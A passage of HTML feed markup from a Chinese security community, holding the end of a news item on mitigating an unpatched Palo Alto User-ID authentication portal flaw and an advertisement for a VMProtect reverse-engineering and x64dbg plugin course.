8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r3ny9"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">值得注意的是，目前该漏洞尚无正式修复补丁。Palo Alto Networks 计划从 2026 年 5 月 13 日起陆续发布各版本的修复程序。在这段窗口期内，用户面临较高的攻击风险，尤其是公开暴露该服务的企业。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r322z"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">为此，官方强烈建议立即执行以下缓解措施，以最大限度降低风险：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r31rzm"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">将 User-ID 认证门户的访问范围限制在可信内部区域；</span></span></p></li><li><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r31odg"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">如业务上未实际用到该门户，直接将其禁用。</span></span></p></li></ul><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottg0r34vv"><span textstyle="" style="letter-spacing: 1px;color: rgb(63, 63, 63);">安全团队应尽快检查防火墙策略，确认 User-ID 认证门户是否开启，并审查相关访问控制列表。如果暂无法禁用，务必把访问源限制在可信的管理网段内，杜绝来自互联网的请求。此次威胁不涉及云防火墙及 Panorama 管理器，仅影响使用了 User-ID 认证门户的 PA 系列硬件防火墙和 VM 系列虚拟防火墙。</span></span></p><p style="text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 14px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mottleoo5uj" data-mpa-action-id="mottlep91y6p" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: normal;color: rgb(136, 136, 136);font-style: italic;">资讯来源：Palo Alto Networks 官方安全公告及公开报道</span></span></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130705" src="https://wechat2rss.xlab.app/img-proxy/?k=dd84b8b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2yeYuicfSJ0YzHbLfKM2ZdmdAm7OuWDgARjZoPeicDEn9sKx8fzXnOspQ9FIPfrNlAciboxVMyaGV5eFibPexElNKKUjjUOFIc9KA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130710" src="https://wechat2rss.xlab.app/img-proxy/?k=828ae079&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K207SIxRVFquDvGOAtJP99KzCHOaBVRdLB6Yadiah5ZuqESEwnOic7vibrGSUkqpmt3vSGg9o6p3wOjIM64EosAtOhmAJ4QRszicjU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130713" src="https://wechat2rss.xlab.app/img-proxy/?k=0438c796&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K3BBDG2cPJ4Rh69RxSNzkJp0gLLacr1AcictVxGwxh4MHdqnc5Ifmfj1m1fLN3DoB1BDkicgJCb29ibQ5OFpL2BJhKnXpzmeCzfick%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130712" src="https://wechat2rss.xlab.app/img-proxy/?k=5236626c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K3peRh1Y2TpCXJFC9dPaRpGVibraThaRXEKWv60XOjDRL53Vnpd2ASeS8QOG3ASj4SWq18J8rBktMwwJda9roxSbebzwCpJGGDw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130714" src="https://wechat2rss.xlab.app/img-proxy/?k=b97c50d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K0z6cTxRLBDlvcG98Nom0otuL1bGAhQsY3icCiag3b8GQE5kPBENWf1SI2LqcDCdXniaJiavtvkG02oiam78NSV8GDdxMXKRHBeScLU%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://www.kanxue.com/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b1f49bcd&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614579%26idx%3D2%26sn%3Dad625ae6a74ef9508c95bad9c6cea4ef">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>效率提升10倍！高版本VMP逆向+插件开发全流程</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614579&amp;idx=3&amp;sn=942fc47999e8b03d9c29f202cfdb76d6</link>
      <description>从0到1开发x32/x64Dbg插件，搞定高版本VMP</description>
      <content:encoded><![CDATA[<p><span>看雪课程</span> <span>2026-05-06 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=70c2685d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0OaibDFIibx55efxDYTZwMTLHXqTa8UKHqoBhXeLXmeWSu31JbNBibDoyM3aM7GQTgCYicF5IdyD8JanRAP6gfq5Y7cKnYuSBfgg4%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>从0到1开发x32/x64Dbg插件，搞定高版本VMP</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);"><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">做逆向的朋友，你是不是也遇到过这种情况：拿到一个加了壳的程序，一眼认出是VMProtect，心里瞬间咯噔一下——低版本还能靠着经验手动扒一扒，碰到3.5以上的新版本，直接无从下手。handler藏得深，变形玩得花，盯了两三天，连VmEntry都理不明白。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">想找资料学，网上全是碎片教程，要么只讲基础原理，要么停留在古老版本，真遇到高版本VMP，还是卡得一动不动。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">想自己写分析插件，不知道从哪切入，调试器环境搭了半天，连API调用都搞不清。</span></p></div><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;margin: 10px 0px -12px;transform: translate3d(-10.0005%, 0px, 0px);-webkit-transform: translate3d(-10.0005%, 0px, 0px);-moz-transform: translate3d(-10.0005%, 0px, 0px);-o-transform: translate3d(-10.0005%, 0px, 0px);box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: middle;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 10px 0px 5px;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="margin: 0px 0px -4px;line-height: 0;transform: translate3d(7px, 0px, 0px);-webkit-transform: translate3d(7px, 0px, 0px);-moz-transform: translate3d(7px, 0px, 0px);-o-transform: translate3d(7px, 0px, 0px);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 10px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128377" src="https://wechat2rss.xlab.app/img-proxy/?k=31af1e7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2DSIJbdfpsCyOTSw2g5ezt7MpAD7EiasvQyqXzlicPv80gJlWGMHmjypOYQMFiaOMJJsJN22icU1jehKLnnvxib7P0picI8HaQQgaGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 18px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311128378" src="https://wechat2rss.xlab.app/img-proxy/?k=18ed958d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K0z4BsZOearCNzzZJBRCfBOzay7icF0H1xJeBjLswtEjscWnbn5wekzST9nicJ3Uwibu2FCvEmf9rX41QywNgzYJbvM9GdapwehDU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 3px;border-color: rgb(54, 86, 183);border-radius: 23px;overflow: hidden;padding: 20px;height: auto;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">更扎心的是：企业项目里，你拿不下高版本VMP，核心项目轮不到你，技术进阶永远卡在这一步。</span></p></div></div></div></div></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">但VMP真的那么无解吗？</span></strong><span leaf="">其实，你缺的不是能力，而是一套系统的方法和趁手的工具。</span></p><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-backh="227" data-backw="562" data-imgfileid="311128374" data-ratio="0.4042857142857143" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="jpeg" data-w="1400" src="https://wechat2rss.xlab.app/img-proxy/?k=7dd180c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1lYCBjEOSxibT7onZ5X3jZvVVzYCwaf4I3545GBKdGicp9QORrEeX9b8VKUfhhbyOaNv7UtOCKjVXnFEwshCL92SlM7QficrVgkE%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: center;color: rgb(54, 86, 183);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">999元  </span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">15小时，让你具备应付高版本VMP的实力</span></strong></p></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">这门专门针对VMProtect的分析与调试器插件开发课程，就是帮你打开VMP世界大门的钥匙：</span><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><span leaf="">从底层原理拆解，到32/64位双平台插件落地，从0到1教你搞定高版本VMP对抗，</span></span><span leaf="">把核心硬技能攥在自己手里。</span></p><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-image: linear-gradient(rgb(134, 158, 255) 13%, rgb(54, 86, 183) 88%);min-width: 5%;max-width: 100%;height: auto;padding: 8px;box-sizing: border-box;"><div style="color: rgb(255, 251, 245);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">为什么是这门课？</span></strong></p></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">帮你把&#34;纯理论&#34;变成&#34;能干活的工具&#34;</span></strong></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">市面上讲VMP的内容少之又少——要么太浅，只够入门；要么只讲分析，不讲开发。学完依然只能手动硬怼，效率低到崩溃。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">这门课不一样：</span><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">我们边逆向分析，边写插件。</span></strong></span><span leaf="">你学到的每一个知识点，都直接落地成能用来干活的工具。</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3350877192982456" data-s="300,640" data-type="png" data-w="2280" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-backw="562" data-backh="188" data-imgfileid="311128376" src="https://wechat2rss.xlab.app/img-proxy/?k=78e5b4a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K05g51KGFzziaZb1fHQmhmqrXO9jDQp3lCtmvRFYlg1nQ5Q4XHlZzmAzDfulM9P1oNnhcO5V6DxibQGvWrHBT41zA2jfsBbd34SI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="margin-top: 10px;margin-bottom: 10px;text-align: left;box-sizing: border-box;"><p style="display: inline-block;box-sizing: border-box;"><span style="padding: 0.3em 0.5em;border-radius: 0.8em 0.8em 0px 0px;background-color: rgb(54, 86, 183);display: block;color: rgb(255, 255, 255);box-sizing: border-box;" title=""><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">整个课程逻辑清晰，从基础到实战层层递进：</span></p></span></p><div style="border: 1px solid rgb(54, 86, 183);border-radius: 0px 0px 0.8em 0.8em;padding: 10px;box-sizing: border-box;"><div style="line-height: 2;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">✅ 先搞懂底层——从VMP工作模型到插件切入点，把零散知识串成体系</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">✅ 再手把手开发——x32Dbg环境搭建、API调用、handler识别，一步步写出第一个VMP分析插件</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">✅ 最后升级适配——搞定x86/x64双平台差异，掌握新版本对抗思路</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">✅ 全程实战——所有知识点围绕“开发出能用的VMP分析插件”推进，学完就能用</span></p></div></div></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">全程没有枯燥的理论堆砌，所有知识点都围绕</span><span style="color: rgb(54, 86, 183);box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">&#34;开发出能用的VMP分析插件&#34;</span></strong></span><span leaf="">这个目标推进，学完就能用在自己的日常逆向工作中。</span></p><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-image: linear-gradient(rgb(134, 158, 255) 13%, rgb(54, 86, 183) 88%);min-width: 5%;max-width: 100%;height: auto;padding: 8px;box-sizing: border-box;"><div style="color: rgb(255, 251, 245);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">学完这门课，你能获得什么？</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;border-top-left-radius: 5px;border-top-right-radius: 5px;border-bottom-left-radius: 5px;overflow: hidden;background-image: linear-gradient(rgb(134, 158, 255) 13%, rgb(54, 86, 183) 88%);min-width: 5%;max-width: 100%;height: auto;padding: 1px 6px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 250, 228);font-size: 9px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">01</span></strong></p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 6px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(58, 85, 163);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">打破高版本VMP壁垒</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgb(69, 111, 235);margin: 0px 0px 0px 15px;height: auto;padding: 15px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">不再被新版VMP拒之门外，系统掌握加密逻辑拆解和对抗思路，企业级项目难题也能啃下来</span></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;border-top-left-radius: 5px;border-top-right-radius: 5px;border-bottom-left-radius: 5px;overflow: hidden;background-image: linear-gradient(rgb(134, 158, 255) 13%, rgb(54, 86, 183) 88%);min-width: 5%;max-width: 100%;height: auto;padding: 1px 6px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 250, 228);font-size: 9px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">02</span></strong></p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 6px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(58, 85, 163);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">落地可复用的工具</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgb(69, 111, 235);margin: 0px 0px 0px 15px;height: auto;padding: 15px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">独立开发出x32Dbg/x64Dbg专用VMP分析插件，直接用在工作里，把手动分析的效率提升十倍</span></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;border-top-left-radius: 5px;border-top-right-radius: 5px;border-bottom-left-radius: 5px;overflow: hidden;background-image: linear-gradient(rgb(134, 158, 255) 13%, rgb(54, 86, 183) 88%);min-width: 5%;max-width: 100%;height: auto;padding: 1px 6px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 250, 228);font-size: 9px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">03</span></strong></p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 6px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(58, 85, 163);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">补齐逆向核心硬技</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgb(69, 111, 235);margin: 0px 0px 0px 15px;height: auto;padding: 15px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">吃透虚拟机保护、handler识别、反汇编引擎、调试器插件开发这些核心能力，逆向功底直接上一个台阶</span></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;border-top-left-radius: 5px;border-top-right-radius: 5px;border-bottom-left-radius: 5px;overflow: hidden;background-image: linear-gradient(rgb(134, 158, 255) 13%, rgb(54, 86, 183) 88%);min-width: 5%;max-width: 100%;height: auto;padding: 1px 6px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 250, 228);font-size: 9px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">04</span></strong></p></div></div><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 0px 0px 6px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(58, 85, 163);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">具备持续迭代能力</span></strong></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgb(69, 111, 235);margin: 0px 0px 0px 15px;height: auto;padding: 15px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">掌握新版本VMP适配思路，哪怕后续VMP更新，你也能自己调整插件，不用再等别人的教程</span></p></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30277777777777776" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-backw="562" data-backh="170" data-imgfileid="311128375" 